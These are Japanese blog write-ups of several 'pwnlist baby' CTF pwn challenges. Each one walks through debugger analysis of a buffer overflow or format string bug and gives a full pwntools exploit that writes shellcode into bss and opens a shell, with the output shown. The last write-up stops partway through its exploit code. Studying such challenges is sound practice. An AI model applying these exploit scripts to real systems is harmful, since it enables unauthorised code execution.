mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwnlist baby 12345

下調べ

mattun-mart@4ctf:~/pwn/baby/12345$ file 12345 | sed -e "s/,/\n/g"
12345: ELF 32-bit LSB  executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked (uses shared libs)
 for GNU/Linux 2.6.24
 BuildID[sha1]=09a2a7c2ebaff247534af024496e08f31212a6be
 not stripped
mattun-mart@4ctf:~/pwn/baby/12345$ checksec.sh --file 12345
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   12345

ubuntu14.04 64bitで動かしてます.
NX,SSPなどが無効.

解析

実行ファイルを起動するとポート12345で接続を待ち受けるのでncコマンドを使って接続.
接続するとクイズが始まる.
クイズに正解するとプログラムは終了し,間違えるともう一度解答することができる.

mattun-mart@4ctf:~/pwn/baby/12345$ nc localhost 12345
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game

Category: Movies	 **Answers can have spaces & case insensitive**

WarGames: The launch code that Joshua "figures out" for himself
at the end of the movie was ______
Answer: aaaa
WRONG. Try again. Bye.

That's too bad. Try one more time!

Answer: aaa
WRONG. Try again. Bye.
 

いろいろ入力して遊んでいると,再解答時に大量の文字列を送るとプログラムが終了する.

mattun-mart@4ctf:~/pwn/baby/12345$ nc localhost 12345
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game

Category: Movies	 **Answers can have spaces & case insensitive**

WarGames: The computer that constantly plays wargames codenamed is _____ 
Answer: a                                                            
WRONG. Try again. Bye.

That's too bad. Try one more time!

Answer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

デバッガで追っていくと,以下のようにEIPが入力で書き変わってしまっていることがわかる.

[----------------------------------registers-----------------------------------]
EAX: 0xffffffff 
EBX: 0xf7fc3000 --> 0x1acda8 
ECX: 0xf7e158fc --> 0x9 ('\t')
EDX: 0xf7fc3000 --> 0x1acda8 
ESI: 0xffffcd84 --> 0x4141 ('AA')
EDI: 0xffffd184 --> 0x1 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcff0 ('A' <repeats 200 times>...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffcff0 ('A' <repeats 200 times>...)
0004| 0xffffcff4 ('A' <repeats 200 times>...)
0008| 0xffffcff8 ('A' <repeats 200 times>...)
0012| 0xffffcffc ('A' <repeats 200 times>...)
0016| 0xffffd000 ('A' <repeats 200 times>...)
0020| 0xffffd004 ('A' <repeats 200 times>...)
0024| 0xffffd008 ('A' <repeats 200 times>...)
0028| 0xffffd00c ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

なぜEIPが書き変わってしまったかというと次の命令が原因.
EDI(0xffffcfb0)に入力した内容をコピーしているのだが,このアドレスの下にEBP(0xffffcfe8)が存在するため,文字数が多いとEBPを書き換えてしまう.

[----------------------------------registers-----------------------------------]
EAX: 0xffffcfb0 --> 0xf7fc3c20 --> 0xfbad2088 
EBX: 0xf7fc3000 --> 0x1acda8 
ECX: 0x84 
EDX: 0xf7fc3000 --> 0x1acda8 
ESI: 0xffffcbb0 ('A' <repeats 200 times>...)
EDI: 0xffffcfb0 --> 0xf7fc3c20 --> 0xfbad2088 
EBP: 0xffffcfe8 --> 0xffffd008 --> 0xffffd0f8 --> 0xffffd108 --> 0x0 
ESP: 0xffffcb20 --> 0xffffcbb0 ('A' <repeats 200 times>...)
EIP: 0x8048e07 (<q_generate+272>:	rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi])
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048e00 <q_generate+265>:	mov    esi,eax
   0x8048e02 <q_generate+267>:	lea    eax,[ebp-0x38]
   0x8048e05 <q_generate+270>:	mov    edi,eax
=> 0x8048e07 <q_generate+272>:	rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
   0x8048e09 <q_generate+274>:	lea    eax,[ebp-0x38]
   0x8048e0c <q_generate+277>:	mov    DWORD PTR [esp],eax
   0x8048e0f <q_generate+280>:	call   0x8048b6e <v>
   0x8048e14 <q_generate+285>:	mov    DWORD PTR [ebp-0xc],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcb20 --> 0xffffcbb0 ('A' <repeats 200 times>...)
0004| 0xffffcb24 --> 0x213 
0008| 0xffffcb28 --> 0x400 
0012| 0xffffcb2c --> 0x0 
0016| 0xffffcb30 --> 0x0 
0020| 0xffffcb34 --> 0x61 ('a')
0024| 0xffffcb38 --> 0xd78 ('x\r')
0028| 0xffffcb3c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048e07 in q_generate ()

二つのアドレスの差は56なので,60文字以降の入力でリターンアドレスを書き換えられることになる.
これで,自由にEIPを操作できるようになった.

Exploit

NXが無効なので,BSS領域シェルコードを積んでそこに飛んでやることにする.
BSS領域への書き込みはrecv関数を利用する.
以下Exploitコード.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct

host = 'localhost'
port = 12345

conn = remote(host, port)

bss_addr = 0x804b0a0
elf = ELF('./12345')
recv_addr= elf.plt['recv']

shellcode = asm(shellcraft.dupsh(4))
shellcode += asm(shellcraft.sh())

payload = "A" * 60
payload += p32(recv_addr) 
payload += p32(bss_addr) 
payload += p32(4) 
payload += p32(bss_addr)
payload += p32(len(shellcode))
payload += p32(0) 

conn.recv()
conn.send("\n")
conn.recv()
conn.send(payload)
conn.send(shellcode)
conn.interactive()

結果

mattun-mart@4ctf:~/pwn/baby/12345$ python exploit.py 
[+] Opening connection to localhost on port 12345: Done
[*] '/home/mattun-mart/pwn/baby/12345/12345'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[*] Switching to interactive mode
$ ls
12345
dump
exploit.py
peda-session-12345.txt

pwnlist baby 23456

下調べ

mattun-mart@4ctf:~/pwn/baby/23456$ file 23456 | sed -e "s/,/\n/g"
23456: ELF 32-bit LSB  executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked (uses shared libs)
 for GNU/Linux 2.6.24
 BuildID[sha1]=438f6363ee8ae76620a941c2cc0eb231adb8579c
 not stripped
mattun-mart@4ctf:~/pwn/baby/23456$ checksec.sh --file 23456 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   23456

ubuntu14.04 64bitで動かしてる.
SSPやNXが無効.

解析

実行ファイルを起動させると23456ポートで接続を待ち受けているので接続してみる.
接続するとマヤカレンダーが終わる前に言いたいことは何と聞かれて入力を待ち受ける.
テキトーに入力すると,カウントダウンが始まって入力内容がアスキーアートの中で表示され,プログラムは終了する.

What would be the last word you want say before the Mayan Calender ends?
Saying: aaaaaaaa                                                
Starting count down to the end of the world!
	5
	4
	3
	2
	1
	0
			ooO
		      ooOOOo
		    oOOOOOOoooo
		 ooOOOooo
		/vvv\
	       /V V V\
	      /V  V  V\
	     /     V   \
	    /     VV    \		 __________
	   /        VVV  \		|	   |
	  /       VVVV    \		|aaaaaaaa|
	 /           VVVVV \		|__________|
			VVVVVVVVVVVVV	      |

いろいろ入力して遊んでいると以下のようにFSBがあることが分かった.
5回目の%pで入力の0x61616161が出力されている.

mattun-mart@4ctf:~/pwn/baby/23456$ nc localhost 23456
What would be the last word you want say before the Mayan Calender ends?
Saying: aaaaaaaa%p,%p,%p,%p,%p,%p,%p,%p
Starting count down to the end of the world!
	5
	4
	3
	2
	1
	0
			ooO
		      ooOOOo
		    oOOOOOOoooo
		 ooOOOooo
		/vvv\
	       /V V V\
	      /V  V  V\
	     /     V   \
	    /     VV    \		 __________
	   /        VVV  \		|	   |
	  /       VVVV    \		|aaaaaaaa(nil),0xf7fdab18,0x3,0xffffce28,0x61616161,0x61616161,0x6c696e28,0x78302c29|
	 /           VVVVV \		|__________|
			VVVVVVVVVVVVV	      |

snprintf関数にFSBがあるので任意メモリの書き換えが可能なことがわかった.

Exploit

今回はNXが無効なので入力(bss領域)にでもシェルコードを積んでおいて,都合の良いGOT領域のアドレスをシェルコードが積まれたアドレスに書き換えてあげればよさそう.
書き換えるGOT領域のアドレスとしては,FSBを利用した任意メモリの書き換え後,最初に呼ばれる関数が良い.デバッガで動かしていくとsnprintfのFSBを利用した書き換え後最初に呼ばれる関数はcd関数の中にあるsend関数だった.
ということで,以下のような感じで,GOT領域のsend関数のアドレスをシェルコードのアドレスに書き換えるように入力を構成する.
シェルコードは,入力内容が格納されるアドレスの先頭から100後に決め打ちで乗せることにした.(シェルコードのアドレスは入力のアドレス + 100 = 0x804b184)

f:id:mattun_mart:20171013215605p:plain

ちょっと雑だけど,以下Exploitコード.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct

host = 'localhost'
port = 23456

conn = remote(host, port)

input_addr = 0x804b120
shellcode_addr = input_addr + 100
shellcode_addr_high = shellcode_addr >> 16
shellcode_addr_low = shellcode_addr & 0x000FFFF

elf = ELF('./23456')
send_got_addr= elf.got['send']

shellcode = asm(shellcraft.dupsh(4))
shellcode += asm(shellcraft.sh())

offset = (shellcode_addr_high + 0x10000) - shellcode_addr_low

payload =  p32(send_got_addr)
payload += p32(send_got_addr + 2)
payload += "%" + str(shellcode_addr_low - 8) + "x" 
payload += "%5$hn"
payload += "%" + str(offset) + "x"
payload += "%6$hn"
payload += "A" * (100 - len(payload))
payload += shellcode
payload += "\n"


conn.recv()
conn.send(payload)
conn.interactive()

結果

mattun-mart@4ctf:~/pwn/baby/23456$ python exploit.py 
[+] Opening connection to localhost on port 23456: Done
[*] '/home/mattun-mart/pwn/baby/23456/23456'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

[*] Switching to interactive mode
$ ls
23456
dump
exploit.py
peda-session-23456.txt
$  

pwnlist baby 4842

下調べ

mattun-mart@4ctf:~/pwn/baby/4842$ file 4842 | sed -e "s/,/\n/g"
4842: ELF 32-bit LSB  executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked (uses shared libs)
 for GNU/Linux 2.6.24
 BuildID[sha1]=0112d6a8144d6184e2c9ff7d4882c4099f5b8011
 stripped
mattun-mart@4ctf:~/pwn/baby/4842$ checksec.sh --file 4842 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   4842

ubuntu14.04 64bitで動かしてます.
NXやSSPが無効.

解析

実行ファイルを動かしてみると,4842ポートで待ち受けていることがわかる.
接続すると中国語のエラーメッセージを吐いて終了する.
解析してみると,どうやらliaotianというユーザが存在しないため終了しているらしい.(pwnlist baby funnybusinessと同じ)
liaotianというユーザを作って再度プログラムを起動,接続すると以下のような文字列が出力され,入力待ちになる.

这部分并不难,但我希望你有乐趣。如果你给我大量的数据,它可能是一件坏事会发生.

中国語を翻訳すると「大量の文字を送ると悪いことが起こる」的なことが書いてあるので大量に文字を送りつけてみるとプログラムが落ちる.

mattun-mart@4ctf:~/pwn/baby/4842$ nc localhost 4842
这部分并不难,但我希望你有乐趣。如果你给我大量的数据,它可能是一件坏事会发生.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
mattun-mart@4ctf:~/pwn/baby/4842$ 

どうやらユーザから受け取った入力でスタックのリターンアドレスを書き換えてしまったらしい.
下記からわかるように,入力文字列を保存する領域の0x146下にリターンアドレスが格納されているため,0x146文字以上の文字列を入力するとリターンアドレスを書き換えてしまう.

[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x7ec6 
ECX: 0xf7fd8000 --> 0xe5a1bfe4 
EDX: 0xffffc786 --> 0x0 
ESI: 0x0 
EDI: 0xf7fc3000 --> 0x1acda8 
EBP: 0xffffd738 --> 0x0 
ESP: 0xffffc770 --> 0x4 
EIP: 0x804888c (call   0x8048600 <read@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048881:	lea    edx,[esp+0x16]            # 入力文字列を保存するスタックアドレス 0xffffc786
   0x8048885:	mov    DWORD PTR [esp+0x4],edx
   0x8048889:	mov    DWORD PTR [esp],eax
=> 0x804888c:	call   0x8048600 <read@plt>      # ユーザからの入力を最大0x800受け取る
   0x8048891:	add    esp,0x15c                 # ret命令を実行するためにESPの位置を操作.0xffffc8ccを指す
   0x8048897:	ret                              # 0xffffc8ccの指すアドレスにリターン
   0x8048898:	sub    esp,0x1c
   0x804889b:	mov    DWORD PTR [esp],0x8048dc3
Guessed arguments:
arg[0]: 0x4 
arg[1]: 0xffffc786 --> 0x0 
arg[2]: 0x800 
[------------------------------------stack-------------------------------------]
0000| 0xffffc770 --> 0x4 
0004| 0xffffc774 --> 0xffffc786 --> 0x0 
0008| 0xffffc778 --> 0x800 
0012| 0xffffc77c --> 0x0 
0016| 0xffffc780 --> 0x0 
0020| 0xffffc784 --> 0x0 
0024| 0xffffc788 --> 0x0 
0028| 0xffffc78c --> 0xf7ffd000 --> 0x20f30 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804888c in ?? ()
gdb-peda$ n

EIPを自由に書き換えられるようになったので,あとはExploitを組むだけ.

Exploit

NXが無効なので,bss領域にシェルコードを積んで実行する.
bss領域への書き込みはread関数を利用する
以下,Exploitコード.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct

host = 'localhost'
port = 4842

conn = remote(host, port)

bss_addr = 0x804b06c
elf = ELF('./4842')
read_addr= elf.plt['read']

shellcode = asm(shellcraft.dupsh(4))
shellcode += asm(shellcraft.sh())

payload = "A" * 326
payload += p32(read_addr) 
payload += p32(bss_addr) 
payload += p32(4) 
payload += p32(bss_addr)
payload += p32(len(shellcode))

conn.recv()
conn.send(payload)
conn.send(shellcode)
conn.interactive()

結果

mattun-mart@4ctf:~/pwn/baby/4842$ python exploit.py 
[+] Opening connection to localhost on port 4842: Done
[*] '/home/mattun-mart/pwn/baby/4842/4842'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[*] Switching to interactive mode
$ ls -al
total 20
drwxr-xr-x 2 liaotian liaotian 4096 Oct  7 23:01 .
drwxr-xr-x 5 root     root     4096 Oct  7 23:01 ..
-rw-r--r-- 1 liaotian liaotian  220 Oct  7 23:01 .bash_logout
-rw-r--r-- 1 liaotian liaotian 3637 Oct  7 23:01 .bashrc
-rw-r--r-- 1 liaotian liaotian  675 Oct  7 23:01 .profile

かなり簡単.一瞬で終わる.

pwnlist baby vuln300

下調べ

mattun-mart@4ctf:~/pwn/baby/vuln300$ file vuln300 | sed -e "s/,/\n/g"
vuln300: ELF 32-bit LSB  executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked (uses shared libs)
 for GNU/Linux 2.6.18
 BuildID[sha1]=4bc2aae29f861432a873713b1581ac3dbad84cae
 stripped
mattun-mart@4ctf:~/pwn/baby/vuln300$ checksec.sh --file vuln300
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   vuln300

NXやSSPなし.
実行ファイルはubuntu14.04 64bitで動かしてます.

解析

実行してみると,数値とメッセージの入力を促される.
それぞれ入力すると,入力した数値分のアルファベットと入力メッセージが表示されてプログラムが終了する.

mattun-mart@4ctf:~/pwn/baby/vuln300$ ./vuln300 
Input Num : 5
Input Msg : hoge
Reply : 
ABCDEhoge

入力内容を変えていろいろ遊んでいると数値に負数を入力したときにプログラムが落ちることがわかる.

mattun-mart@4ctf:~/pwn/baby/vuln300$ ./vuln300 
Input Num : -5
Input Msg : aaaaa
Segmentation fault

ということで,具体的にバイナリを解析していく.
デバッガ等で動作を追っていくとざっくりと以下のような流れで動作をしていることがわかった.

  1. 数値とメッセージの入力を受け取る
  2. 入力された数の絶対値分だけアスキーコードAから順に文字を生成
  3. 入力されたメッセージを別の領域にコピー
  4. 生成した文字列と入力したメッセージが連結された文字列を表示

次にプログラムが落ちた原因を探っていく.
次のコードは‐5を入力したときプログラムが落ちてしまった箇所である.

[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0x804a008 ("AAAAAAA\n")
ECX: 0xf7d58790 (mov    WORD PTR [edi],dx)
EDX: 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd0f8 --> 0x0 
ESP: 0xffffd0e0 --> 0x804a008 ("AAAAAAA\n")
EIP: 0x804882a (mov    edx,DWORD PTR [eax])
EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048820:	call   0x8048840
   0x8048825:	mov    eax,DWORD PTR [ebp-0xc]
   0x8048828:	mov    eax,DWORD PTR [eax]
=> 0x804882a:	mov    edx,DWORD PTR [eax]
   0x804882c:	mov    eax,DWORD PTR [ebp-0xc]
   0x804882f:	mov    DWORD PTR [esp],eax
   0x8048832:	call   edx
   0x8048834:	mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0xffffd0e0 --> 0x804a008 ("AAAAAAA\n")
0004| 0xffffd0e4 --> 0x80491e0 ("AAAAAAAA\n")
0008| 0xffffd0e8 --> 0xfffffffb 
0012| 0xffffd0ec --> 0x804a008 ("AAAAAAA\n")
0016| 0xffffd0f0 --> 0xfffffffb 
0020| 0xffffd0f4 --> 0xf7e77000 --> 0x1acda8 
0024| 0xffffd0f8 --> 0x0 
0028| 0xffffd0fc --> 0xf7ce3af3 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0804882a in ?? ()

本来EAXにcallで呼び出す関数アドレスを格納するアドレスが入っているはずのところが,‐5を入力したせいで入力したメッセージの一部(AAAA)で書き変わってしまっている.
アドレスが書き変わってしまった原因を詳しく探っていくと次のコードの部分に問題があることがわかった.

[----------------------------------registers-----------------------------------]
EAX: 0x7fb 
EBX: 0x804a008 --> 0x8048a60 --> 0x8048924 (push   ebp)
ECX: 0x804a00c ("ABCDE")
EDX: 0xfffffffb 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd0d8 --> 0xffffd0f8 --> 0x0 
ESP: 0xffffd0cc --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push   ebp)
EIP: 0x80488c4 (lea    edx,[ecx+edx*1])
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80488bb:	mov    edx,DWORD PTR [ebp+0x8]  # 関数呼び出し先のアドレスを格納するアドレスをedxに移動
   0x80488be:	lea    ecx,[edx+0x4]            # 入力した数値分のAから始まる文字が格納されたアドレスをecxに移動
   0x80488c1:	mov    edx,DWORD PTR [ebp+0x10] # 入力した数値をedxに移動
=> 0x80488c4:	lea    edx,[ecx+edx*1]          # 入力メッセージのコピー先アドレスを計算してedxに格納
   0x80488c7:	mov    DWORD PTR [esp+0x8],eax
   0x80488cb:	mov    eax,DWORD PTR [ebp+0xc]
   0x80488ce:	mov    DWORD PTR [esp+0x4],eax
   0x80488d2:	mov    DWORD PTR [esp],edx      
[------------------------------------stack-------------------------------------]
0000| 0xffffd0cc --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push   ebp)
0004| 0xffffd0d0 --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push   ebp)
0008| 0xffffd0d4 --> 0x0 
0012| 0xffffd0d8 --> 0xffffd0f8 --> 0x0 
0016| 0xffffd0dc --> 0x8048825 (mov    eax,DWORD PTR [ebp-0xc])
0020| 0xffffd0e0 --> 0x804a008 --> 0x8048a60 --> 0x8048924 (push   ebp)
0024| 0xffffd0e4 --> 0x80491e0 ("AAAAAAAA\n")
0028| 0xffffd0e8 --> 0xfffffffb 
[------------------------------------------------------------------------------]

このコードはstrncpy命令を使った入力メッセージコピー処理の前準備であり,ベースとなるアドレス(ecx)に入力した数値(edx)を足したアドレスをコピー先のアドレスとして指定している.
しかしスタックの中身は次のようになっているため,入力された数値とメッセージの組み合わせによっては,後にcallで呼び出す関数のアドレスを格納しているアドレスを書き換えてしまう.
f:id:mattun_mart:20171004235955p:plain
例えば,負数に‐4,メッセージにAAAAを入力すると後にcallで呼び出す関数のアドレスを格納しているアドレスを0x41414141に書き換えることができる.

Exploit

後にcallで呼び出す関数のアドレスを格納しているアドレスをメッセージの入力内容で自由に書き換えることが可能なことがわかったので,ここにシェルコードを積んでシェルを起動してあげればよさそう.
運のいいことに後にcallで呼び出す関数のアドレスを格納しているアドレスはbss領域にあり,PIEが無効になっているため,ASLRが有効でもこのアドレスは変化しない.
あとはcallの呼び出し方に注意しながらアドレスとシェルコードを積んであげればOK
ってことでExploit.

#/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct
import time

conn = process('./vuln300')
elf = ELF('./vuln300')
vtable_addr = 0x80491e0
shellcode = asm(shellcraft.sh())

input_num = "-4\n"
conn.send(input_num)
conn.recv()

payload = p32(vtable_addr + 4) + p32(vtable_addr + 8) + shellcode
payload += "\n"
conn.send(payload)
conn.recv()
sleep(2)

conn.interactive()

結果

mattun-mart@4ctf:~/pwn/baby/vuln300$ python exploit.py 
[+] Starting local process './vuln300': pid 6387
[*] '/home/mattun-mart/pwn/baby/vuln300/vuln300'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[*] Switching to interactive mode
$ ls
core  dump  exploit.py    peda-session-vuln300.txt  vuln300

内定式等の関係でまとめるのが遅くなってしまった...
一応自分用にざっくりまとめてるけど間違ってたら教えてください.

pwnlist baby vuln200

下調べ

mattun-mart@4ctf:~/pwn/baby/vuln200$ file vuln200 | sed -e "s/,/\n/g"
vuln200: ELF 32-bit LSB  executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked (uses shared libs)
 for GNU/Linux 2.6.24
 BuildID[sha1]=b0adbe78fb249940c782b5118d9bf3f06328a22f
 stripped
mattun-mart@4ctf:~/pwn/baby/vuln200$ checksec.sh --file vuln200 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   vuln200

NXやSSPが無効.これもどっかにシェルコード積んでやればよさそう.
ubuntu14.04 64bitで動かしてます.

解析

straceで動かすとポート7777で待ち受けていことがわかる.あと/logs/pwn2logが開けなくて落ちてるので作ってやる.
以下はstraceの一部.

open("./logs/pwn2log", O_WRONLY|O_CREAT|O_APPEND, 0666) = -1 ENOENT (No such file or directory)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x46} ---
+++ killed by SIGSEGV +++
Segmentation fault

んで接続してみるとCODEGATE 2013 Util serviceが待ってる.
表示されるメニューの文字を入力すると書く方式で入力値を変換してくれる.

mattun-mart@4ctf:~/pwn/baby/vuln200$ nc localhost 7777
CODEGATE 2013 Util service!
[*] md5
[*] help
[*] base64 encode
[*] base64 decode
[*] quit

大量の文字を送ってみたりといろいろ遊んでみるも特にバグらしいものが見当たらない.
しいて言うならば,継続して同じ変換を行う際に前回の入力内容より短い文字を送ると前回の入力内容が残ったまま変換されるので正しく変換できてないことぐらい.
ってことでバイナリを解析していく.

デバッガ起動するとデバッガを検知したというメッセージが表示されるが,メッセージが表示されるだけなので問題ない.
解析していくと次のような流れで動作していた.

  1. 入力された内容を受け取る
  2. 受け取った文字列がメニューの内容と一致するかチェック
  3. 一致したら各変換処理へ移行.間違っていたら再度メニュー表示
  4. 変換したい値を受け取り,変換後の値を表示.
  5. キーボードから何か入力されるとメニュー画面を表示.1に戻る.

入力文字数は制限されていてスタック領域を破壊するなどの問題はなさそうだった.
んで,どこに問題があるかというと,隠しメニューwrite.

以下のように,メニューで受け取った文字列(hoge)とwriteを比較していた.

[----------------------------------registers-----------------------------------]
EAX: 0x8049c3a ("write")
EBX: 0xffffce9c --> 0x0 
ECX: 0x5 
EDX: 0xffffcfa0 ("hoge\n")
ESI: 0xffffcfa0 ("hoge\n")
EDI: 0x8049c3a ("write")
EBP: 0xffffcf88 --> 0xffffd178 --> 0x0 
ESP: 0xffffcb70 --> 0x0 
EIP: 0x804901f (repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi])
EFLAGS: 0x200286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049016:	mov    ecx,0x5
   0x804901b:	mov    esi,edx
   0x804901d:	mov    edi,eax
=> 0x804901f:	repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0x8049021:	seta   dl
   0x8049024:	setb   al
   0x8049027:	mov    ecx,edx
   0x8049029:	sub    cl,al

バイナリを追っていくとどうやらwriteはメニューで入力したwrite以降の文字列(以下の例ではhogeshi)を別のスタック領域にコピーするようだ.
このときwrite処理前後のコピー先スタック領域のダンプ結果dump.txtをカレントディレクトリに生成してる.

[*] md5
[*] base64 encode
[*] base64 decode
[*] help
[*] quit
writehogeshi
write running
Copying bytes
DONE
Return to the main
[----------------------------------registers-----------------------------------]
EAX: 0xffffce9c --> 0x0 
EBX: 0xffffce9c --> 0x0 
ECX: 0x9 ('\t')
EDX: 0xffffcfa5 (" hogeshi\n")
ESI: 0xffffcfa5 (" hogeshi\n")
EDI: 0x8049c3f --> 0x46454200 ('')
EBP: 0xffffcf88 --> 0xffffd178 --> 0x0 
ESP: 0xffffcb70 --> 0xffffce9c --> 0x0 
EIP: 0x8049088 (call   0x8048810 <memcpy@plt>)
EFLAGS: 0x200206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804907d:	mov    DWORD PTR [esp+0x8],ecx
   0x8049081:	mov    DWORD PTR [esp+0x4],edx
   0x8049085:	mov    DWORD PTR [esp],eax
=> 0x8049088:	call   0x8048810 <memcpy@plt>
   0x804908d:	lea    eax,[ebp-0xec]
   0x8049093:	mov    DWORD PTR [esp+0x4],eax
   0x8049097:	mov    DWORD PTR [esp],0x8049c63
   0x804909e:	call   0x80493b1
Guessed arguments:
arg[0]: 0xffffce9c --> 0x0 # 4つ前の命令lea    eax,[ebp-0xec]で指定
arg[1]: 0xffffcfa5 (" hogeshi\n")
arg[2]: 0x9 ('\t')

まぁこの処理コピー先の領域の大きさなんて考えていないのでmemcpyで確保したスタック領域を破壊できる.
具体的にはスタックは下図のようになっているので0xEC+4文字以上入力するとEIPを書き換えることができる.

f:id:mattun_mart:20170923210703p:plain
ちなみに図には書いてないがESP側にはmd5base64等の処理の際にユーザが入力する値が格納されてたりする.

Exploit

EIP奪えたので後は好き勝手やるだけ.
今回はNXが無効なので,どっかにシェルコード積んでシェルを起動する.
スタックのアドレスはリークできそうにもないので.bss領域にシェルコードを乗せてやることにする.
.bss領域への書き込みはrecv関数で行う.
ってことでExploitコード.
.bss領域のアドレスはreadelfコマンドで調べた.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct

host = 'localhost'
port = 7777

conn = remote(host, port)

bss_addr = 0x804b0a0
elf = ELF('./vuln200')
recv_plt_addr = elf.plt['recv']

